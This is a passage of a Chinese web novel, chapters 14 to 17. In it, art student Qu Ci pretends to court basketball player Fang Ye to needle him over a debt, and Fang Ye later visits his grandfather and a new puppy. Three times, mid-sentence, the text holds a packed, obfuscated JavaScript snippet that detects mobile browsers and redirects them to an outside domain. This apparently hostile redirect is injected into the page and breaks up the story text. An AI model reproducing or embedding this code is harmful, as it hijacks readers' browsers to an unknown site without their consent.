“明天哥带你去玩啊,本市景点哥大一就玩遍了,当个导游不成问题!” “饿了呀?想吃什么我给你买,马上下单!饿着你我可是会心疼的!” “怎么能没空呢?难得哥能放假,咱们之前不是说好了一起去玩密室逃脱的吗?跟着哥,保你迅速通关!” “今天教练给我们做了体质测评,我血糖有点高,知道为什么吗?”此刻祭出了霸总气泡音,“宝贝,因为你的甜度超标了!” 呕…… 曲辞被恶心得像蛆一样在床上翻滚,对电波那端可怜的女生感到同情。 哪里用找骚0哥,现成的例子学起来! 习惯了平日里早起早训的作息,一到六点半,方谒准时睁眼,鲤鱼打挺坐起来的时候发觉不对劲,意识到今天是假期第一天,于是又把自己摔回了枕头上。 日常抱怨睡不够,现在有时间睡,却又睡不着了。 寝室里只剩他自己,走廊里都静悄悄的没动静,让他很不习惯。 翻来覆去在床上躺到七点半,他决定起床去跑步。 刚一出门,意外撞见了305的那个小漂亮。 没想到对方也没出去玩,看上去还一副要出门的打扮。 他沉着脸没吭声,以为对方根本也不会搭理自己,谁知刚把眼睛垂下,那个身影就跳到了自己的眼前。 “哥哥!” 清脆的少年音喊出了甜腻的音调,震得方谒虎躯一震,震惊地望着眼前的人。 曲辞笑得好似春花般灿烂,眼睛仿佛两只弯月亮,嘴角疯狂上扬,露出了几颗洁白的牙齿:“这么巧,我们好有缘分啊!” 14. Chapter 14 曲辞没想到一大早就能碰见方谒,还以为这位少爷放假就回他的别墅里享乐去了,自己制定的所有计划至少要在三天后才能陆续开始实施。 谁知居然这么巧。 真是捡日不如撞日,晚恶心不如早恶心,看来上天都觉得我小辞挣钱不易,给我机会快点惩治坏人! 看着方谒明显瞳孔地震,满脸掩饰不住的震撼,曲辞心里乐开了花。 就是这个感觉,巨爽! 方谒此刻陷入了一些程序混乱——我是谁我在哪现在是哪个时空? 他警惕地问:“你干什么?” “跟哥哥打招呼啊!”曲辞笑得更甜了,声音更腻了,腻得他自己都起了一身鸡皮疙瘩。 本以为一开始不会这么顺利,自己还得有个磨炼演技的过程,谁知第一声“哥哥”喊出来,看到对方惊恐的模样,后边一切都水到渠成了! 请叫我影帝小辞! 方谒冷着脸,继续发动盾牌防护:“我们很熟吗?” “不打不相识,一回生二回熟,来日方长啊!”曲辞热情地说,“哥哥你不回家也不出去玩吗?这三天都在?” 方谒盯着他说话的动作,谨防他突然上手:“跟你没关系,你到底想干什么?!” “我都表现得这么明显了,哥哥还看不出来吗?”趁着左右无人,曲辞当然要把目的挑明,“我要追你啊!” 方谒:“……” 方谒:“!!!” 方谒:“???” 面前的男生穿着普通牛仔外套,头发半束半披,看起来非常清爽干净,跟昨天拦着自己非要深情告白的那个花鹦鹉完全不是一类人,绝非是一眼就能看出的男同,顶多算是个打扮精致的艺术家。 尽管自己早就认为他是,但还是问了出来:“你真的是……” “我是哥哥的小甜心鸭!”曲辞甜甜地笑着,双手冲他比了个心,最后扣在自己的心口,遗憾地说,“可惜我还有事,不能陪哥哥聊天了,回来再找你哦!哥哥拜拜~” 说罢转身就跑。 晚一秒钟脸上的笑容都要变味。 从甜甜的微笑变成狂妄的淫.笑。 方谒像一根顶天立地的钢钉站在原地,目送他的身影从楼道尽头消失,扭头来回看了几遍空荡荡的走廊。 没人吗?所以刚才我那是幻觉,对吧? 他呆立了片刻,走到窗边往下张望,看见曲辞背着双肩包,蹦蹦跳跳着跑出了宿舍楼,去车棚推了自行车,迎着阳光飞快地向校外骑去。 看着也是个阳光少年的模样,怎么这么一言难尽? 曲辞的背影看起来是很正常,但他的脸都快笑烂了,出校门的路上引来路人频频回眸,不知道他到底遇上了什么好事能乐成这样。 出了校门、抵达商业街之后,他把自己的情绪调整好,停好自行车,跑去要上班的咖啡馆。 大一的时候他在老校区外咖啡馆做兼职,见缝插针考了咖啡师资格证,有工作经验,又有证在手,再加上也是眉清目秀一小哥哥,找起兼职毫不费力。 这家咖啡馆并不大,大约十几张桌子,室内光线偏昏暗,装修很有品味,每一个装饰物的安放都有讲究,在阳光的映照下会留下很漂亮的影子,墙上错落有致地挂了很多大大小小的油画,很适合打卡自拍发朋友圈。 老板也是个不差钱的“浪子”,三十多岁,留着一脸大胡子,据说是海外美术留子,墙上那些油画都出自他手。 画风还算稳定,都是抽象派,曲辞不是油画专业,很难评判其好坏,只能说一眼望去显得很有逼格。 这家咖啡馆新开不久,之前新校区人少,老板一个人做咖啡师就够用了,现在有好几个大学都往这搬,他怕忙不过来,于是就有了曲辞这个新的咖啡师、两个服务员,都是新来的兼职学生。 “戴哥,我来啦!”进门之后,他跟吧台后边的老板戴岳打招呼。 “嚯,元气少年啊!”戴岳正低头玩手机,抬头看见满面春风的他,“一大早这么有干劲。” 曲辞又连忙收敛了一点,嘿嘿直乐:“第一天上班,当然要好好表现。” “吃饭了吗?”戴岳看上去是双眼没完全睁开的状态,应该刚起来不久。 “吃过啦!” 戴岳挠了挠脸:“我还没吃,记得你说会做简餐,我这有吐司,你看看冰箱里有什么,随便给我弄点吃的呗。” 曲辞打开吧台后边的小冰箱看了看,发现只有鸡蛋。 咖啡馆不对外提供简餐,甜点和面包都有专业冷链配送,虽然后院里厨房设备一应俱全,但并没有备菜。 所以你是在为难我胖虎吗? 但天才小辞不会被难倒! “戴哥,你吃鸡蛋吗?”他转身问道。 戴岳头都不抬地划拉手机:“吃,我不挑。” 曲辞拿了俩鸡蛋,蛋清蛋黄分离,用电动打蛋器将蛋清打发到硬发,再把白白的像泡沫一样的蛋清糊一点点舀到涂抹了黄油和花生酱的吐司上,塑型成云朵的样子,中间留一个小窝。 先把这套东西送进烤箱定个型,再把蛋黄倒进小窝里,继续烤三分钟,出炉后撒上一点老板自用的盐和黑胡椒。 蛋清糊烤得微黄,显得云朵更厚实,溏心的金红色蛋黄卧在中间,像极了金灿灿的太阳,实在漂亮! 趁老板不注意,曲辞先把其中一盘端到靠窗的桌前拍了张照,接着把两个盘子端到戴岳面前:“当当当当!云朵蛋吐司,请享用吧!怕你一个不够吃,所以做了俩。” 戴岳本来以为他会给自己做个三明治,没想到端上来两幅画:“嚯,艺术品啊!” 他看着这漂亮的吐司一时间没舍得吃,配上自己做的手冲咖啡,找各种角度拍了照片,先发了个朋友圈。 【戴】:美妙的一天从美妙的早餐开始。「图片*1」 等了一会儿没人理,又敲开了一个小窗。 【戴】:「图片」 【戴】:什么时候到我店里来坐坐啊,你都搬过来一个月了,就来过一回,太不给哥哥面子了吧。 【戴】:看我新来的咖啡师给做的云朵蛋吐司,不错吧?你来我让他给你做。 漂亮的云朵蛋吐司被用滤镜精心修饰过,色彩饱和度更高,确实非常貌美。 方谒把图片划走,打字回复。 【。】:最近要降体脂,好吃的别找我。 在假期清晨无人的体育场里跑了一会儿,方谒百无聊赖地看了眼手机。 美食吸引不了他,倒是“哥哥”那俩字让他代入了刚才某人的声音,心脏有一些短促的停顿。 【戴】:吐司给你换成全麦的,不加黄油和花生酱,鸡蛋纯天然无添加,上哪长脂去? 【戴】:没事也来喝杯美式啊,加强新陈代谢。 【。】:有时间再说吧。 【戴】:这么忙吗?我找跑腿给你送。你现在在寝室吗?就你自己还是应寒也在? 戴家跟方家是世交,方谒从小跟在戴岳屁股后头玩,知道他不差钱,开个咖啡馆纯为了玩,方谒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345573|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就不跟他客气了。 【。】:应寒不在,给我送一杯冰美式,再来份你这个云朵太阳蛋,全麦吐司,别的都不加,我去学校门口拿。 【戴】:就这么几步路都不过来我这儿,哥哥想你,知道不? 【。】:「冷汗」 今天“哥”字超标了! 咖啡馆里,服务员已经到岗,曲辞和她俩把开店事宜准备好,将挂在门口的小牌牌换成了“营业中”,做了几杯咖啡热热机器,并且放起了老板精心选择的歌单。 悠扬缓慢的爵士乐,配上满屋的咖啡香,这工作环境实在哇塞。 听说自己做的云朵太阳蛋被老板的朋友赏识,他心情很好,麻溜做了一份全麦的,用一次性餐盒打包好,再做好一杯冰美式, 看看这寡淡的外卖纸袋,曲辞从自己包里翻出了好看的便利贴,拿签字笔写下:“我掐指一算,收到这份美味,今天的你一定好运爆棚,冲啊,朋友!” 还在落款处画了一个灿烂的笑脸。 这是上班第一天做的第一单,曲辞很有仪式感,也是真心希望收到这份单的那位可以拥有好心情。 方谒收到外卖,看到纸袋边上的便利贴,拍了张照发给戴岳。 【。】:东西收到了,这次居然有了营销意识,祝你的店少赔一点。「图片*1」 【戴】:这次肯定不会赔!我请了帅哥咖啡师和美女店员,不怕没人来!等回头我把这店打造成网红打卡点,一定赚钱! 【戴】:你什么时候过来玩啊,兼职的女生都是你们校区的,很漂亮,过来看看,万一你们看对眼了呢? 【。】:丑话说在前头,别在你的员工面前提我的名字。 【戴】:啧,小谒谒长大了,都有明星包袱了。 然后就再也没有收到回复。 戴岳说得不错,虽然是在假期,但大学城这边依旧有很多同学没有回家,有出来开小组会议的,有出来看书的,也有抱着电脑过来忙活的,总之很快十几张桌子就坐满了人。 翻台率差了些,但对于咖啡馆而言还算可以。 曲辞戴着口罩做了一整天咖啡,收到了无数夸夸,心情实在不错,晚上下班也没有觉得很累,骑着自行车吹着微凉的小夜风一路回到宿舍楼下,感觉还是元气满满,脚上像装了弹簧一样蹦蹦跳跳地上楼。 走到自己寝室门口的时候,他偏头往308那边望了一眼,眉毛一挑,计上心来。 不如趁着没什么人,调戏调戏抠门精啊! 于是他在铮亮的地板上打了个出溜滑,溜到了308门前,心情大好地敲了敲。 里面传来了方谒的声音:“哪位?” 曲辞当然不会回应,又敲了几下。 想到马上就要气死对方,已经提前开始爽了。 方谒白天学了一天习,晚上简单吃了点饭就跑去健身房做力量训练,练完腿的时候甚至只想爬行,回了宿舍用尽最后一点力气洗完澡,刚从洗手间出来,只想上床躺平。 谁知道这个时候会有不速之客,敲门还不应声。 他“呼啦”一声把门打开,带着怒意看向面前的人。 “哥哥!”曲辞甜甜地打招呼,望着这个肩膀和胸肌上还挂着点点水痕的半.裸男人,70%发自真心、30%夸张表演地“哇哦”了一声,双眼粘在这副完美的躯体上挪不动了,原本想好的词儿也卡在了喉咙里。 要不是他不会,此刻真想吹个流氓哨。 这个抠门精,人是真的坏,身子是真的不错。 15. Chapter 15 体育生们训练没什么顾忌,练得狠了脱得只剩小裤衩都很常见,方谒自然也是其中之一。 去年在老校区,他这堪称完美的体型曾经在很多男生女生的手机里传阅,供人舔屏。 他不是不知道,只是知道也没用。 训练嘛,热了不脱,那是跟自己过不去。 大部分直男,尤其是身材好的直男,对于裸.露上半身没有任何羞耻感,再加上这是男生宿舍,只在腰间围着浴巾开门,实属正常。 但被小漂亮这么一打量之后,他突然有点起鸡皮疙瘩。 “干什么?!”方谒沉声道。 曲辞的目光一时半会都在这人的脖子以下逡巡,没办法,这身体太标致了—— 脖子粗细适中,喉结凸起明显,锁骨平直,斜方肌鼓起得恰到好处,不用猜都知道背肌一定同样诱人; 肩膀宽而平,上臂肌肉轮廓鼓.胀,手臂青筋顺着肌理自然向下蔓延,确实是性感; 正中胸肌对称而紧实,鼓得很明显,但又不会显得块头太大,八块腹肌块垒分明,呈现出轴对称的美感,整体肌肉匀称,虽然肩宽可以称得上是双开门,但绝没有过分壮硕; 或许因为室外训练都在早晚、技术训练都在室内,他并不算黑皮,偏小麦色; 光看上半身的话,已经是个超绝完美叔体了! 想给这个身体绑上黑色皮革枪带是怎么回事?! 方谒在曲辞面前打了个响指,指了指自己的眼睛:“看这里。” “哥哥的身体可真是完美啊!我只是看了几眼,就已经欲罢不能了!”昨晚听石恒“现场授课”有感,曲辞融会贯通地学会了怎么把话往恶心里说。 就是用些大尺度的词呗! 让人听了浑身刺挠的那种最佳。 平心而论,方谒这刚洗完澡的脸也很好看,半干的短发微微有些卷,脸也被水汽浸得潮湿红润,使得面部轮廓显得更加立体。 唇线分明的双唇看起来也是柔软的,就算眼睛看起来凶巴巴的,但别样的水灵降低了它们的攻击性。 曲辞弯了弯眼睛:“哥哥你好润~~~” 方谒:“……” 他微微蹙眉:“没事你就滚。”说着便要关门。 曲辞不甘心这就结束战斗,他要让方谒今晚梦里都是自己甜腻的笑容,当即伸出手按住门板,后背往门框上一卡,半个身子挤进门里。 “你到底想干什么?”方谒觉得这个小漂亮简直找打。 曲辞握住门把手,靠在门框上,仰头看着方谒,惨兮兮地说:“累了一天了,回来想看看哥哥,幸好你还没睡。” 方谒咬着后槽牙,眸色发暗地盯着他。 曲辞看他沉默,当仁不让抢占先机,小嘴巴像打开的机关枪一样突突个不停: “哥哥今天都在忙什么呀?累不累?难得放假,要多休息哦,不然我会心疼的。” “有没有想到我呀?早上跟你说了那些话,我心里小鹿乱撞了一整天呢!” “一天都在想哥哥,想给哥哥发信息,可惜没有你的号码,可以加我吗?” “哥哥——” “哥”字含量实在超标,方谒又找不到这人的开关,只能不耐烦地打断:“够了!曲辞,你觉得这样很有意思吗?我是直男,你这个做法对我没有用,别再胡闹了!” 曲辞下巴微收,向上挑起眼睛,让自己的眼神显得特别单纯无辜,眨巴了两下:“哥哥,这么做对你没用,那什么方法有用呢?你教我怎么追你好不好?我一定好好做。” 虽然一开始是打定主意绝不有肢体接触的,但现在眼前的体育生洗得喷香干净,轻轻一碰也不至于脏了手。 他飞快地用指尖点了点方谒喉结旁边沾着的一滴水珠,但在触碰的那一刻,就被握住了手腕。 一刹那间,两人都有点懵。 方谒觉得脖子那里突然一麻,心脏突然飞快加速泵血,脑子也轻轻地“嗡”了一声,同时又觉得手里握住的皮肤柔软沁凉,骨架也窄,仿佛一使劲就能捏碎; 曲辞则觉得被握住的皮肤被烫了一下,没想到对方的体温这么高,手还这么宽,抓住自己手腕还有富余,感觉能同时扣住自己两只手。 在走廊路灯昏暗光线的映照下,肤色一深一浅,这样的相握,看着居然有点暧昧。 不是,这对吗? 曲辞觉得自己的思路不太正常,直男握直男的手腕能有什么暧昧的? 一定是平时看阮林的同人图看坏了脑子。 真正相握的时间不过几秒钟,方谒很快松开了手。 在娃头事件发生之前,他已经认为曲辞对自己居心不良,但现在心里有些拿不准,对方这么做,是真的要追自己,还是为了逼他还钱。 因为这两件事,目前看来是矛盾的。 如果为了要债,这个小漂亮应该对自己识趣一些;可如果真打算对自己死缠烂打,他就不怕要不回钱吗? 看来,这个娃头真的不值钱。 方谒垂眸打量着面前这张看起来人畜无害的脸,喉结上下一滚,让心跳恢复平缓:“别来这一套,我什么态度你很清楚,只要你别来招惹我,大家就相安无事。还有,我说过,只要你证据齐全,我不会赖账。” 他微微低头,向前凑近曲辞的脸,压低声音,充满威胁地说:“但你要是再这么纠缠我,我可就不能保证了。你这样的人我不是没见过,不想挨揍的话,趁早滚远点!” 男人身上有沐浴露和洗发水混合在一起的淡淡香气,被身体的热度蒸腾得挥发出来,伴随着一种强大的威压,整个将曲辞笼罩起来。 但他才不怕。 呵,早知道你就有赖账的意思,何必用这件事威胁我? 我曲辞怎么可能怕你?! 以前见过“我这样的人”?你果然霸凌过美术生! 我这次就一并为那些素未谋面的兄弟姐妹讨个说法! “哥哥会舍得打我吗?”曲辞下巴仰得高高的,凑近了方谒的脸,“哥哥想打哪里?打脸还是打屁股?用什么打?你的手,还是用小皮鞭?”顿了顿,露出一个略显羞涩的笑,“我都可以。” 他的声音很轻,语调上扬,听起来很甜,又带着诱惑。 至于说的内容,震惊了对这个领域颇感陌生的篮球特长生。 方谒也是二十岁血气方刚的男大,不至于什么都没听说过,但作为一个从初中开始心里只有篮球的人,他活得相当禁欲,脑子里只有训练、赢球和学习。 谁知道竟从这看起来小白花一样的人嘴里听到这种虎狼之词?! 看着方谒眼睛一闪而过的震惊,曲辞觉得今天好戏就唱到这里为止,自己累了,要回去休息。 他弯了弯眼睛:“哥哥想对我做什么都可以,但要做我男朋友才行哦!我可不是随便的男孩子。不早啦,哥哥快去睡吧,一定要梦见我哦!” 一定要梦见我气死你哦! 抬手五指张开又合拢捏了几下,拜了个可爱的“拜”:“么么哒!” 说罢转身就走,免得被人注意到自己起的一身鸡皮疙瘩。 方谒身前陡然空了一块,脑子里好像也被炸得空了一瞬,回过神来的时候,只听到不远处传来的关门声。 “真的看到了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345574|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 手机里传来阮林兴奋的声音。 今晚石恒不回来,曲辞一个人独占卧室,洗漱完上床后就给基友打电话。 曲辞舒服地躺在自己包裹得像个小堡垒的床上,床头亮着一盏很暗的小夜灯,他把手机放在枕头旁边,闭着眼笑眯眯地说:“当然啦,高清无.码!我的眼睛离他的body就只有二十厘米!不得不说,他身材是真标准,先天条件好,自己也下工夫,感觉体脂率一定很好,既不肉,也不柴,皮肤显得很润,不是那种魔鬼筋肉人,肌肉松弛状态下看起来很Q弹。” “你摸了吗?敢摸吗?” “想摸来着,毕竟这么完美很少见,但我又不能性骚扰他,就拈了一滴他喉结旁边的水珠——他身上好烫,体温老高了,挨得近都觉得热得慌。”曲辞勾着唇角,回味方才的感受。 阮林立刻道:“那当然,人家可是热血篮球少年,体温肯定高,男人就是要烫烫的才好。” “至少不是臭臭的,还好他刚洗完澡。”曲辞实话实说。 阮林迫不及待地问:“他下边穿的什么?” “没穿啊,裹的浴巾。” 电话那端发出尖锐的爆鸣声,阮林大喊道:“啊啊啊啊你这个直男吃得太好了吧!刚才上来怎么不先说这个!” “谁吃了,我就是逢场作戏!我还以为你更关心他的胸肌腹肌呢。”曲辞笑眯眯地说,“他皮肤也不错哦,看起来脸上身上都没有痘印,很光滑。” 阮林啧了一声:“比起胸肌腹肌我更关心别的地方——他下边,大不大?” 曲辞:“……” 阮林在他面前不大掩饰自己的小0属性,经常会发表一些花痴言论,但俩人这样一起探讨同一个男人还是头一次,没想到话题很快就升到了限制级。 “这怎么看?”曲辞当了19年直男,从没注意过这个。 阮林语速快了不少:“八字真言,平大鼓小,长顺短凸!快好好回想一下!” 曲辞拿着手机翻了个身,关上了小夜灯,为了基友努力回忆。 自己当时的确是看到了人鱼线那里,再往下就被雪白的浴巾给挡住了。 “不鼓,不凸。”他回想浴巾覆盖的区域,“感觉什么都看不出来。” 阮林立刻惊喜道:“那一定很大了!” “我看你这就是粉丝滤镜!”曲辞无语,“死心吧,他死直男一个,你睡不到的。” “睡不到才大胆幻想啊!我要买一个可以代他的叔体,给他配合适的鸡——” 曲辞当即打断:“鸡哔你!行了,赶紧睡,别聊这种话题,小心晚上做春.梦!” “人总要有做梦的权利吧!多谢好友馈赠,我美美做梦去了!么么哒!”阮林听起来确实很快乐。 曲辞也跟他“么么哒”了一下,挂断了语音通话。 周遭陷入一片令人安心的黑暗与宁静,没有此起彼伏的鼾声,所以他入睡得也很快。 带着不久前成功气到抠门精的兴奋。 所以没什么意外地就梦见了方谒。 模模糊糊的梦境里,此人在他面前打篮球,蹦得老高了,将球高高举起,大臂用力,手掌一拨将球投出去。 篮球在空中划了个漂亮的抛物线,“噗”地一声,应声入网。 是挺帅的。 但接下来,曲辞惊恐地发现,除了篮球鞋,方谒居然什么都没穿! 而他在自己面前起起落落,某个名字都不能提的东西也在那里晃啊晃—— “我去!” 曲辞一个鲤鱼打挺从床上坐了起来,震惊得瞪圆了眼睛。 造孽啊! 16. Chapter 16 还好只是一个模糊的梦境,还好曲辞作为一个直男美术生,不仅看过很多喔喔,也画过不少,这个梦对他的视觉刺激并不大。 可心理刺激可就太大了。 我,一个直男,怎么能做这种梦! 刷牙的时候曲辞还在两眼发直,只能庆幸自己没什么不可描述的反应,要不然真的很难面对自己。 由于这个极富冲击性的梦,他暂时偃旗息鼓,不想去“追求”方谒了,甚至不想看见对方。 原因无他,怕对上眼的时候自己会瞬间想起那个梦,想起那个在自己面前上下晃动的……喔喔。 他甚至没敢把这事儿告诉阮林,免得对方问自己那个喔喔到底长什么样子。 完全不想回忆起来。 而方谒,昨晚的睡眠没受影响,只是心情有些复杂。 这个小漂亮虽然来势汹汹,说话也满口虎狼之词,却没那么让人讨厌,或许是因为跟之前那个路数不一样。 那人说话听起来正常,干的却都是猥琐的事,曲辞尽管言语大胆,可看起来还挺天真的,并不倒人胃口。 难道是因为脸长得好? 他决定先以不变应万变,看看这家伙到底搞什么鬼,又能搞到几时。 洗漱完照常出门晨跑,没想到又遇上了曲辞在锁门。 时间表都撞得莫名其妙。 俩人站在各自的门口,隔着两个寝室的距离两两相望。 方谒全身所有的防护盾“噗”“噗”“噗”全部撑开,但没有主动吭声。 谁知曲辞完全没有要打招呼的意思,锁好门立刻转身,大步往楼梯走去。 与昨晚表现比起来可以称得上是大变活人了。 方谒:“?” 精神状态这么起伏不定吗? 但他并不纠结,不来招惹自己最好,俩人相安无事。 “啊啊啊啊啊啊!” 曲辞一溜小跑下了三楼,开了自行车跨上就跑,简直要把脚蹬子蹬出火星子。 谁懂啊,你眼前看见一个衣冠整齐的人,脑子里却瞬间把他扒得一干二净,只留下了梦里那个喔喔跳动的样子会是什么感受?! 哪怕那具身体跟雕塑一样漂亮,喔喔比雕塑大好几倍也不行! 曲辞觉得自己一时半会很难直视方谒了。 还因为做了这样一个离谱的梦,产生了一些愧疚之情。 毕竟这听起来太像个变态。 方谒现在耍的是薛定谔的无赖,自己所谓的“追求”也不过是口嗨,对方没吃亏,自己也没占太多便宜。 可整天在脑海里幻想对方的果体就太超过了。 抠门精罪不至此。 自己得缓一缓,缓一缓。 实在不行就算了,谁知道这个破计划进行下去会有什么后果。 细思恐极! 曲辞觉得当务之急是尽快买到新娃,赶紧跟方谒清账,大家重回过去那种井水不犯河水的状态最好。 一模一样的娃不是那么好找,至少自己这边没有问到结果,娃娘那边也杳无音信,他不好意思追问,打算等十一假期结束之后再沟通一下。 假期第三天,方谒换了身机车服,打车到附近的机车寄存中心取了自己的摩托,戴上头盔轰隆隆地出了街。 市区对摩托车有排量限制,存在这里的只是一辆川崎街车,这辆没有家里的赛级车带劲,但闲来无事能过一下瘾已经很解馋了。 黑色头盔、黑色机车皮衣,配上通体哑光黑的摩托,方谒所到之处,就是一道吸引目光的风景线。 骑上公路,感受到久违飞驰感,他觉得非常爽。 奶奶去世、家里的公司彻底交给老爸之后,爷爷就搬到了郊区山里的农家院去住,上次见面还是快开学的时候。 那院子不小,有四进院那么大,除了老爷子一个人之外,还住了一个医疗护士和一对四十多岁的夫妻负责整个院子的清洁保养,其中大姐负责做饭,大哥兼任了司机,四个人住一起倒也不算无聊。 附近搞了一个玻璃大棚,棚里种了些蔬菜瓜果,还养了鱼,雇了附近的村民照顾,爷爷闲着没事儿也去务农,就当锻炼身体了。 大概骑了两个钟头的车,方谒终于上了山路,加足马力一阵轰鸣,径直开进了门已经敞开的院子里。 爷爷已经站在门口等着了,上午十点多正是阳光不错的时候,晒着太阳的老爷子连花白的头发都被映成了金色,笑容看起来也分外慈祥。 方谒把车往院中一停,熄了火,摘掉头盔挂在车把上,下车冲老头子一点头:“爷爷。” “嗬,这架势,我是不是得跟你握个手啊。”爷爷看着比自己高出那么一大截的孙子,笑得合不拢嘴,“一个月不见,感觉又长高了?” “没有,还是暑假里量的195.2,现在长得慢了。”方谒说。 爷爷拍拍他的后腰:“走,上里边坐。”之后又问,“跟你爸妈联系了吗?” 方谒点了点头:“说了,他们知道我就放三天假,跟他俩时间对不上,就没再多问。” “这两口子,呵,真不知道要忙到什么时候!”爷爷叹息道,“事业比家庭和孩子都重要吗?我当年创业的时候也没这么不管不顾的!” 方谒没接这话,在他从小到大的记忆里,爸妈就是两个陌生人,是隔一段时间才会出现在家里的“叔叔阿姨”,童年陪伴的缺失让他跟这两夫妻俩都不是很亲,他们俩之间的关系,与其说是两口子,更像是婚姻搭子。 是生活上的陌生人,事业上的好搭档。 老妈本科读的是财务,跟老爸是同院又同届,俩人大三谈恋爱,大四毕业结婚,之后老爸就到爷爷的公司从基层干起,老妈则跨专业考了法律硕士,并且在就读期间完成了生子和法考。 方谒刚满三岁,老妈法硕毕业,直接入职某大型律师事务所,专攻经济类案件,多年来已经从实习生干成了合伙人,算是女强人中的强人。 老爸这些年也干得很不错,直接挤兑得爷爷退了休,他成了方家进出口贸易集团有实权的话事人。 人的精力是有限的,过分投入在事业上,家庭这边肯定是顾不上,方谒并不埋怨他们,就像自己一心扎在篮球上一样,他也不想分出任何精力给别的事。 见他不说话,爷爷又问:“你爸是不是又说你打球的事了?” 父亲不允许他做职业球员,甚至一开始不想让他做篮球特长生,本来高中就要送他出国念书,但方谒不喜欢自己的人生被安排,更不喜欢平时对自己不闻不问的人,只因为供养了自己的生活,在某个时刻突然跳出来扮演上帝的角色。 他虽然跟父母沟通不多,但平时并不是一个叛逆的孩子,只有那次他非常剧烈地跟父亲吵了一架,用以表明自己的态度。 好在奶奶还有爷爷和母亲都站在了他这边,父亲孤立无援,两方最后达成了妥协。 方谒可以留在国内读大学,并在就读期间打篮球,专业必须选择经济管理类,方便将来接手家业。 但老爸时刻不忘提醒他,让他别过度痴迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345575|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 篮球,早点接受现实生活。 “他不就那样吗?懒得理他。”方谒淡淡地说。 爷爷点点头:“对,别搭理他就行,你还这么年轻,得活得像个年轻人。” 带着他走进客厅,老爷子笑得神秘兮兮:“你今天来得巧,我有一个小客人要让你见见。” 客厅里并没有其他人,茶海上茶具还摆得整整齐齐,茶都没泡,方谒环顾四周:“小客人?小孩吗?” “不是,你一定喜欢。”爷爷带着他往屏风后边转,嘴里发出了“嘬嘬嘬”的声音。 接着方谒就看见有一个奶呼呼的金红色身影从桌子下边钻了出来,蹦蹦跳跳地向他们跑过来,耳朵上下翻飞。 “哪里来的小狗?”他确实喜欢,盘腿坐在地上,把狗崽子抱在怀里挠它的下巴。 狗狗看上去有四五个月大,浑身长毛有点潦草,黑豆眼亮亮的,非常友善地舔他的脸。 “朋友家的狗下的崽,说是什么……品种名记不清了,是找鸭子的狗。”老爷子说。 方谒亲了亲小狗的脑袋:“新斯科舍诱鸭寻回犬,是一种猎犬,是可以帮忙猎鸭。” “还是你对狗有研究。”爷爷笑了笑,见他望着小狗的眼神温柔起来,轻轻松了口气,“不是要你把它当成笑笑的替代品,就当你新的小伙伴吧,你有空的时候来看看我,顺便和它玩玩。” 幼年时候的方谒哭着喊着要爸爸妈妈,但是爸爸妈妈总不回家,那会儿爷爷奶奶也各自忙着工作,没办法全天陪他。 于是全家人合议,给他买了一只西高地白梗作为陪伴犬,并由他亲自取名叫做“笑笑”。 有笑笑陪伴,方谒果然开心了不少,天天跟小狗玩,还把私校的小朋友带来家里一起跟笑笑做游戏,甚至有一次偷偷把狗带去了学校。 笑笑陪了方谒十二年,在他初中毕业那年去世,方谒难过了许久,也从不提要养狗的事。 然而高中毕业那年,和他最亲的奶奶又因病撒手人寰,这让他觉得,在自己短暂的十八年人生里,仿佛一直在失去。 但他已经学会了把所有情绪都压在心底,不泄露半分。 望着怀里小狗湿漉漉圆溜溜的眼睛,方谒觉得心底某个角落突然柔软,眉目舒展,唇角也不由自主地勾了起来:“它有名字了吗?” 见他有了笑模样,爷爷脸上的笑意更浓了些:“还没取名,你给取一个吧,是个小姑娘。” “那我想想。”方谒说。 爷爷笑呵呵地说:“你和它玩吧,我上前边泡茶,一会儿过来喝。” “好。” 四五个月的小狗正是最爱玩的时候,工作犬又天生亲人,方谒逗得它团团转,拿着零食训它学口令,小家伙真是聪明,没几次就学会了握手。 至于坐、卧这样简单的命令早就已经掌握非常娴熟。 家里的地板被拖得光可鉴人,方谒向后躺倒在地上,把小狗放在胸口,狗子蛄蛹蛄蛹地爬过来舔他的下巴和脸,黑溜溜的眼睛一直望着他,看起来那么纯粹。 让他觉得似曾相识。 居然有点像那个脑子容易抽风的小漂亮。 方谒忍不住轻笑了一声。 那个曲辞如果是小动物,肯定是黑白配色、需要驱魔的那种生物。 正想到这里,怀里的手机震了一下,他掏出来一看,真是想曹操曹操就到,微信里收到了新的好友申请,一个顶着抽象画头像、名叫“在下告辞”的ID说:【我,曲辞,加上。】 语气非常嚣张。 17. Chapter 17 经过一天一夜的调理,对于梦见全果方谒和方喔喔的事情,曲辞已经基本看淡了。 